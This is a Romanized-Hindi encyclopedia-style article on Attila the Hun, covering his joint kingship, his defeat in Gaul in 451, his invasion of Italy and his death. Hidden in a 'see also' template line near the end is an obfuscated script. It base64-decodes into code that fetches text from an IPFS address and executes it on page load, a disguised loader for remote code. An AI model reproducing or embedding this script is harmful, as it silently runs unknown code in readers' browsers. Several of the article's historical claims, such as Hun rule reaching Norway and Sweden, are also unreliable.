अत्तिला
attila (lagabhag 406-453 ee.) itihas prasiddh ek vidhvansak hoon raja tha, jise bad ke itihasakaroan ne "bhagavan ka ko da" kahakar sambodhit kiya. apane chacha ruas ke marane par apane bhaee bleda ke sath attila bhi danoobatatiy hoonoan ka sanyukt raja bana tha. poorvi roman samrat bhi varshik kar diya karata tha. age ke samay mean attila kaispiyan sagar aur baltik sagar ke bich ke samooche rajyoan ka aur rain nadi tak ka svami ban gaya tha.[1]
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rajy vistar
attila ke pita ka nam 'muandajuk' tha. usake janm se kuchh pahale hi kaispiyan sagar ke uttaravarti pradeshoan ke hoon danoob nad ki ghatoan mean ja base the. attila ke pita ka parivar bhi unhian hoonoan mean se ek tha. chacha ruas ke marane par apane bhaee bleda ke sath attila danoobatatiy hoonoan ka sanyukt raja bana. ruas ka shasan kal hoonoan ke yoorop mean vishesh utkarsh ka tha. usane jarman aur slav jatiyoan par adhipaty kar liya tha aur usaka dabadaba kuchh aisa badha ki poorvi roman samrat use varshik kar dene laga. chacha ke aishvary ka attila ne prabhoot prasar kiya aur ath varshoan mean vah kaispiyan aur baltik sagar ke bich ke samooche rajyoan ka, rain nadi tak, svami ban gaya.
bhayankar yuddh tatha parajay
450 ee. ke pashchath attila poorvi samrajy ko chho d pashchimi samrajy ki or badha. pashchimi samrajy ka samrat tab valeantiniyan tritiy tha. samrat ki bhagini justagrata honoriya ne apane bhaee ke viruddh sahayata ke arth attila ko apani aangoothi bheji thi. ise vivah ka prastav man hoonaraj ne samrat se bhagini ke yautuk mean adha rajy maanga aur apani sena lie vah gal ko rauandata, mets ko lootata, lvar nadi ke tat par base aurliyaan ja pahuancha, par roman sena ne pashchimi gothoan aur nagaravasiyoan ki sahayata se hoonoan ko nagar ka ghera utha lene ko majaboor kiya. phir do mahine bad joon, 451 mean itihas ki sabase bhayankar khooni l daiyoan mean se ek l di gee, jab donoan senaean sen nadi ke tat par tr aauy ke nikat paraspar milian. bhishan yuddh hua aur jivan mean bas ek var harakar attila ko bhagana p da.
itali par dhava
apani har se attila chup baithane vala vir nahian tha. agale hi varsh usane sena lekar shakti keandr itali par dhava bol diya aur dekhate-dekhate usaka uttari loanbardi ka praant uja d dala. ukh de, bhage hue logoan ne adriyatik sagar pahuanch kar vahaan ke prasiddh nagar venis ki nianv dali. samrat baleantiniyan ne bhagakar ravena mean sharan li. par pop lio pratham ne rom ki raksha ke lie mianchio nadi ke tir p dav dale aur attila se prarthana ki. kuchh pop ke anunay se, kuchh hoonoan ke bich pleg phoot p dane se attila ne itali chho d dena svikar kiya.[1]
mrityu
itali se lautakar attila ne bargadoan ko rajakumari ildiko se vivah kar liya, kintu apani suhagarat ke hi samay vah raktachap se mastishk ki nali phat jane ke karan paniniya mean mar gaya.
attila ne pashchimi roman samrajy ki ridh to d di thi. usake aur hoonoan ke nam se yooropiy janata tharathar kaanpati thi. hangari mean basakar to unhoanne us desh ko apana nam diya. unaka shasan narve aur sviden tak chala. chin ke uttar-poorvi praant kasoo se unaka nikas hua tha aur vahaan se yoorop tak hoonoan ne apana khooni adhipaty kayam kiya. unhian ki dharaoan ne dakshin bahakar bharat ke gupt samrajy ki bhi kamar to d di.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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